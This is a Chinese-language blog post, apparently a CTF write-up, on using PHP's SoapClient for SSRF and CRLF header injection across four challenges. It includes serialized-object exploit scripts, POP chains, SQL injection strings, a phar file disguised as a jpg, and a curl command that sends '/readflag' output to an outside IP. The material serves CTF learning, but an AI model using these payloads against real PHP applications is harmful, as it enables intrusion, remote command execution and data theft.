美文网首页
使用Soap的ssrf/crlf攻击

使用Soap的ssrf/crlf攻击

作者: byc_404 | 来源:发表于2020-03-18 22:23 被阅读0次

    这几天在buu上疯狂刷题。突然接触到了一个之前没有注意过的知识点。那就是使用Soap进行ssrf。目前做到的几道题个人觉得还是非常有营养的。那么干脆总结下关于php+Soap的相关知识。

    Soap

    SOAP是webService三要素(SOAP、WSDL、UDDI)之一:

    • WSDL 用来描述如何访问具体的接口。

    • UDDI用来管理,分发,查询webService。

    • SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
      其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

    SoapClient

    PHP 的 SOAP 扩展可以用来提供和使用 Web Services
    这个扩展实现了6个类。其中有三个高级的类: SoapClient、SoapServer 和SoapFault,
    和三个低级类,它们是 SoapHeader、SoapParam 和 SoapVar。
    其构造方法如下:

    public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
    

    第一个参数是用来指明是否是wsdl模式。通常我们构造时设为null即可。

    第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

    这里有趣的地方就在于两点

    • SoapClient是php的原生类。且它有一个__call()魔术方法
    • SoapClient的第二个参数允许我们自定义User-Agent

    来依次解释下这两个有趣之处
    1.原生类说明我们不需要刻意去寻找php POPChain中的利用点。因为Soap已经提供给我们一个现成的魔术方法。而只要用Soap,我们就可以达成ssrf,可以打内网.

    2.User-Agent可自定义带来的是CRLF注入的可能。为什么这么说?因为http header里有一个重要的Content-Type为和Content-Length。
    而User-Agent的http header位置正好在这些之上,所以可以进行覆盖。对于Content-Type,如果我们想要利用CRLF发送post请求,那么要求它为application/x-www-form-urlencode
    那么此时就可以利用CRLF,构造如下payload

    $payload = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=08jl0ttu86a5jgda8cnhjtvq32\r\n
    Content-Type: application/x-www-form-urlencoded\r\nContent-Length:45\r\n\r\n
    username=admin&password=nu1ladmin&code=470837\r\n\r\n\r\n",
    'location'=>$location,
    'uri'=>$uri));
    

    CRLF与SSRF,这两个漏洞都可以通过SoapClient达成。

    真题

    干说道理是不够的,这里直接把几天来做到的真题分析下。

    踩坑: windows下开启SoapClient:
    SoapClient用到的是php扩展,需要在php.ini启用三个动态链接库

    • php_soap.dll
    • php_openssl.dll
    • php_curl.dll

    这里我的ini文本中开始只找到一个未启用的库;extension=php_curl.dll,但是实际上在php的文件夹的ext里应该是可以全部找到的。所以需要把这三个文件名都启用(即去掉开头分号),并令其等于对应的扩展路径,这样就可以使用SoapClient了。

    Linux安装一把梭就好,不必多说。

    bestphp's revenge

    题目源码
    index.php

    <?php
    highlight_file(__FILE__);
    $b = 'implode';
    call_user_func($_GET['f'], $_POST);
    session_start();
    if (isset($_GET['name'])) {
        $_SESSION['name'] = $_GET['name'];
    }
    var_dump($_SESSION);
    $a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
    call_user_func($b, $a);
    ?>
    

    flag.php

    session_start();
    echo 'only localhost can get flag!';
    $flag = 'LCTF{*************************}';
    if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
           $_SESSION['flag'] = $flag;
       }
    

    题目有几个重点,我们先从结果看起。
    flag在flag.php中,想要读到flag,必然需要从127.0.0.1访问,然后flag会被保存在session值中。显然是个ssrf了。那么我们看看index.php中的代码
    var_dump($_SESSION);
    首先确认session的值会被打印出来。既然如此,那看来我们的目标就是ssrf了。再来看看其他函数需要怎么利用。
    很唐突的一个$b = 'implode';+call_user_func($_GET['f'], $_POST);以及最后一个call_user_func($b, $a);
    这里b紧接着一个call_user_func看来是可以变量覆盖了。
    那么如果覆盖了的话,覆盖成什么,又怎么利用呢?
    这里需要知道一点:

    • call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法

    '假如我们一开始利用f将b覆盖成 call_user_func(),那么在index.php的最后,函数将执行
    calluserfunc(calluserfunc,array($_session,‘welcome_to_the_lctf2018’))
    由于$_SESSION['name'] = $_GET['name'];可控,如果令name=SoapClient,不就成了

    call_user_func(SoapClient->welcome_to_the_lctf2018)
    

    吗?
    前面提到,如果SoapClient存在__call()魔术方法,调用不存在的方法将直接触发我们所需要的ssrf.
    那么整个流程的最后一步可以先行构造:

    <?php
    $target = "http://127.0.0.1/flag.php";
    $attack = new SoapClient(null,array('location' => $target,
        'user_agent' => "byc\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
        'uri' => "123"));
    $payload = urlencode(serialize($attack));
    echo $payload;
    ?>
    

    注意的是,这里还用到了我们上面提到的CRLF漏洞

      'user_agent' => "byc\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
    

    看,只要\r\n,我们就可以控制访问时的Cookie,这样最后生效的flag也会被保存在我们可控的cookie中

    下面要思考的就是,怎么触发反序列化呢?联系到题目中敏感的session存储,自然可以联想到某个不用unserialize也能触发的反序列化漏洞:phpsession处理器引擎不一致导致的反序列化。
    那么问题就解决了:我们在最开始就令引擎为php_serialize,并将序列化数据存储到session中。然后在第二次才进行ssrf。此时由于处理器重新变回php,将触发反序列化,从而触发ssrf,将flag存储在可控cookie中。最后换cookie访问即可。
    poc:

    1.f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5......
    同时post serizliaze_handler=php_serialize
    这样执行的就是session_start("serialize_handler":'php_serialize')
    我们的数据被成功写入session
    
    2.f=extract&name=SoapClient
    同时post b=calluserfunc
    这样执行的就是calluserfunc(calluserfunc,array($_session,‘welcome_to_the_lctf2018’))
    

    最后换cookie访问index.php就能拿到flag了。

    De1CTF shellshellshell

    超级麻烦的一道题......
    可能是因为我懒得写自动化脚本吧。看到赵师傅的wp直接自动化一把梭羡慕不已。
    这题其他细节我就不讲了,主要重点讲讲中间利用Soap的部分
    首先题目在登录进去后有个点,这里signature变量可以构造下时间盲注。因为反引号+正则替换的使用不当,导致了可注的地方,于是可以得到管理员的账号密码。
    大概是这种形式吧
    1` or sleep(3) ,1)#
    但是尝试登录时却提示需要从本地登进,这就是说要ssrf了。怎么达成呢?
    因为我环境懒得重开了,借用下其他师傅的图



    虽然将mood参数转int并addshalshes了,但是后面mood参数在可以注入的signnature参数后面,所以可以通过注入将其直接注释掉,来注入一个我们的恶意序列化对象

    然后调用了一个getcountry()方法,结合我们之前的需求,正好可以使用SoapClient。只要使用Soap构造一个登陆admin的请求,序列化后插入数据库,这里调用不存在方法时就能直接触发__call()进而触发ssrf。
    <?php
    $target = "http://127.0.0.1/index.php?action=login";
    $post_string = 'username=admin&password=jaivypassword&code=4153792';
    $headers = array(
        'Cookie: PHPSESSID=pu1bnms95shhapubhqoh9vk7h2',
    );
    $b = new SoapClient(null,array('location' => $target,'user_agent'=>'byc^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string.'^^','uri'=>'hello'));
    $aaa = serialize($b);
    $aaa = str_replace('^^',"\r\n",$aaa);
    echo '0x'.bin2hex($aaa);
    ?>
    

    稍微解释下要点,我们需要的是ssrf登录admin,那么到时候反序列化触发完了,我们自己登进去,需要的就是一个满足条件的cookie。
    同时因为要构造的请求必须是登录时包含了admin的账号密码以及验证码的数据,所以需要post请求。这里又一次用到CRLF,来控制Content-Type,Content-Length,达成post请求的条件。

    那么此时最好重开一个浏览器,直接使用新界面的cookie以及算好的验证码放到脚本中,得到16进制的序列化数据。然后在已经登录的位置注入序列化数据。这时会自动跳到index界面,触发序列化。(我直接遇到500,但是不影响)之后再回到原先未登录的地方登录就好了。

    后面的部分不提了,昨天做了我一下午......可以参考赵师傅或者其他师傅的wphttps://www.zhaoj.in/read-6170.html
    https://blog.csdn.net/chasingin/article/details/104687766

    SUCTF UploadLabs2

    这题也是给出源码,然后审计
    首先是Ad类一个诱人的析构方法

    function __destruct(){
            system($this->cmd);
        }
    

    来看看达成条件



    需要ssrf,不用说这里应该又可以想到我们的Soap类了。
    然后看看有没有可用的方法,很快在File类中找到

        function __wakeup(){
            $class = new ReflectionClass($this->func);
            $a = $class->newInstanceArgs($this->file_name);
            $a->check();
        }
    

    这里ReflectionClass是php中反射类的意思。所以其实wakeup的前两行就是执行了一个实例化对象的作用

    $class = new ReflectionClass('Person'); // 建立 Person这个类的反射类  
    $instance  = $class->newInstanceArgs($args); // 相当于实例化Person 类 
    

    加上那个$a->check();我们基本确定这里就是用Soap类来构造了。
    接下来联系func.php中传参实例化File对象的做法,

      $file_path = $_POST['url'];
            $file = new File($file_path);
            $file->getMIME();
            echo "<p>Your file type is '$file' </p>";
    

    不难想到使用phar来触发反序列化,这样我们的File类在实例化后,被触发反序列化,调用__wakeup(),只要func是SoapClient就能进行后续的ssrf,达成任意命令执行了。

    <?php
    class File{
        public $file_name;
        public $func='SoapClient';
    
        function __construct(){
            $target = "http://127.0.0.1/admin.php";
            $post_string = 'admin=&cmd=curl http://174.1.28.1:8877/?`/readflag`&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
            $headers = [];
            $this->file_name=[
                null,
                array('location' => $target,
                    'user_agent'=>str_replace('^^', "\r\n",'byc^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string.'^^')
                ,'uri'=>'hello')
            ];
        }
    }
    $a=new File();
    echo urlencode(serialize($a));
    @unlink("1.phar");
    $phar = new Phar("1.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<script language='php'> __HALT_COMPILER(); </script>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();
    rename('1.phar','1.jpg');
    

    同样提几个细节:

    • Soap的参数中file_name被设为数组是反射类的一个特点,它接收的是数组参数。
    • phar的文件名已经改成jpg了,但是为了过一个文件头的校验还得设定$phar->setStub("<script language='php'> __HALT_COMPILER(); </script>");
    • post数据除了cmd跟admin外,还要注意Ad在析构前调用的另外一个check()方法中接收的参数,他们都是反射类实例化的

      而我们只需要传存在的类跟方法即可。比如SplStack就是php标准库里数据结构类,push方法也是自然存在的。
      所以上传1.jpg,在func.php调用
      php://filter/resource=phar://upload/76d9f00467e5ee6abc3ca60892ef304e/f3ccdd27d2000e3f9255a7e3e2c48800.jpg触发反序列化。

    这里我往buu的requestsbin打payload没收到不止没收到,直接死在文件流那了。它报的我文件是ost-stream。命令执行失败。

    用它的内网靶机就没事?好吧,还是有flag的hhh.


    SWPU2019 web6

    上来一个sql的万能密码,用到了with rollup的trick
    1' or '1'='1' group by passwd with rollup having passwd is NULL -- -
    添加一个空列,进行结果判断NULL=false
    绕过弱类型相等

    进去后发现wsdl.php提供了不少接口,其中一个可以读文件
    把可读的文件读一下
    index.php

     
     <?php
    ob_start();
    include ("encode.php");
    include("Service.php");
    //error_reporting(0);
    
    //phpinfo();
    
    $method = $_GET['method']?$_GET['method']:'index';
    //echo 1231;
    $allow_method = array("File_read","login","index","hint","user","get_flag");
    
    
    if(!in_array($method,$allow_method))
    {
        die("not allow method");
    }
    
    
    if($method==="File_read")
    {
        $param =$_POST['filename'];
        $param2=null;
    
    }else
    {
        if($method==="login")
        {
            $param=$_POST['username'];
            $param2 = $_POST['passwd'];
        }else
        {
            echo "method can use";
        }
    }
    
    echo $method;
    $newclass = new Service();
    echo $newclass->$method($param,$param2);
    
    ob_flush();
    ?>
    

    Surface.php

    <?php   
        include('Service.php');
        $ser = new SoapServer('Service.wsdl',array('soap_version'=>SOAP_1_2));
        $ser->setClass('Service');
        $ser->handle();
    ?>
    

    se.php

    <?php
    
    
    ini_set('session.serialize_handler', 'php');
    
    class aa
    {
            public $mod1;
            public $mod2;
            public function __call($name,$param)  调用函数,显然可跟进到invoke
            {
                if($this->{$name})
                    {
                        $s1 = $this->{$name};
                        $s1();
                    }
            }
            public function __get($ke)
            {
                return $this->mod2[$ke];
            }
    }
    
    
    class bb
    {
            public $mod1;
            public $mod2;
            public function __destruct()  入手点,显然可跟进到__call
            {
                $this->mod1->test2();
            }
    } 
    
    class cc
    {
            public $mod1;
            public $mod2;
            public $mod3;
            public function __invoke()
            {
                    $this->mod2 = $this->mod3.$this->mod1; 拼接,那么有字符串了
            } 
    }
    
    class dd
    {
            public $name;
            public $flag;
            public $b;
            
            public function getflag()  此处可ssrf,到头了
            {
                    session_start(); 
                    var_dump($_SESSION);
                    $a = array(reset($_SESSION),$this->flag);
                    echo call_user_func($this->b,$a);
            }
    }
    class ee
    {
            public $str1;
            public $str2;
            public function __toString()
            {
                    $this->str1->{$this->str2}(); 有字符串了,只有他能调用对象的方法,当然是ssrf
                    return "1";
            }
    }
    
    
    
    
    $a = $_POST['aa'];
    unserialize($a);
    ?>
    
    
    

    encode.php

    <?php
    
    
    function en_crypt($content,$key){
        $key    =    md5($key);
        $h      =    0;
        $length    =    strlen($content);
        $swpuctf      =    strlen($key);
        $varch   =    '';
        for ($j = 0; $j < $length; $j++)
        {
            if ($h == $swpuctf)
            {
                $h = 0;
            }
            $varch .= $key{$h};
            
            $h++;
        }
        $swpu  =  '';
        
        for ($j = 0; $j < $length; $j++)
        {
            $swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
        }
        return base64_encode($swpu);
    }
    
    

    找到不可读的方法 get_flag,得知要点:

    get_flag only admin in 127.0.0.1 can get_flag

    • ssrf needed
    • POPchain needed
    • decrypt and be admin

    先看popchain

    bb->__destruct //$mod1 为aa对象
        ->aa ->_call()->$s1()->_get(); //顺着get从test2找到一个对象
          ->cc-> __invoke()-> //拼接,需要属性是字符串
                ee->_toString()-> //$str1是dd对象->getflag()
                    dd->getflag()
    
    <?php
    class aa
    {
            public $mod1;
            public $mod2;
    }
    
    
    class bb
    {
            public $mod1;
            public $mod2;
    } 
    
    class cc
    {
            public $mod1;
            public $mod2;
            public $mod3;
    }
    
    class dd
    {
            public $name;
            public $flag;
            public $b;
    }
    class ee
    {
            public $str1;
            public $str2;
    }
    $ee=new ee();
    $ee->str1=new dd();
    $ee->str2='getflag';
    $cc=new cc();
    $cc->mod3='1';
    $cc->mod1=$ee;
    $aa=new aa();
    $aa->mod1=$cc;
    $aa->mod2=array('test2'=>&$aa->mod1);
    $bb=new bb();
    $bb->mod1=$aa;
    
    $ee->str1->b='call_user_func';
    $ee->str1->flag='get_flag';
    $sa=serialize($bb);
    echo $sa;
    

    这题类似bestphp'srevenge,所以前面的链好了后可以直接把getflag()用到的两个参数填好。原理是一样的。
    链子好了,回头看看解码

    function de_crypt($swpu,$key){
        $swpu=base64_decode($swpu);
        $key=md5($key);
        $h=0;
        $length=strlen($swpu);
        $swpuctf=strlen($key);
        $varch='';
        for($j=0;$j<$length;$j++){
            if($h==$swpuctf)
            {
                $h=0;
            }
            $varch.=$key{$h};
            $h++;
        }
        $content='';
        for($j=0;$j<$length;$j++)
        {
            $content.= chr(ord($swpu{$j}) - (ord($varch{$j}))+256 % 256);
        }
        return $content;
    }
    

    解码cookie得到xiaoC:3
    那就加密伪造admin
    admin:1 xZmdm9NxaQ==

    现在差一个Sopa打127.0.0.1调用getflag
    需要注意的是
    interface.php已经有现成的soap接口了,所以不能直接访问index.php调用get_flag。而是通过call_user_func调用SoapClient类的get_flag方法即调用了Service类的get_flag方法
    先将数据写入session

    <?
    $target = 'http://127.0.0.1/interface.php';
    $headers = array(
        'X-Forwarded-For: 127.0.0.1',
        'Cookie: user=xZmdm9NxaQ==',
    );
    
    $b = new SoapClient(null, array('location' => $target, 'user_agent'=>'byc^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'=>'aabb'));
    $a = serialize($b);
    $a = str_replace('^^', "\r\n", $a);
    echo $a;
    ?>
    

    利用表单传进session

    <html>
    <body>
        <form action="http://04bda212-e690-478a-99d5-846e353f75ca.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
            <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
            <input type="file" name="file" />
            <input type="submit" />
        </form>
    </body>
    </html>
    

    加上上面链子的payload.即可get_flag

    相关文章

      网友评论

          本文标题:使用Soap的ssrf/crlf攻击

          本文链接:https://www.haomeiwen.com/subject/qnacyhtx.html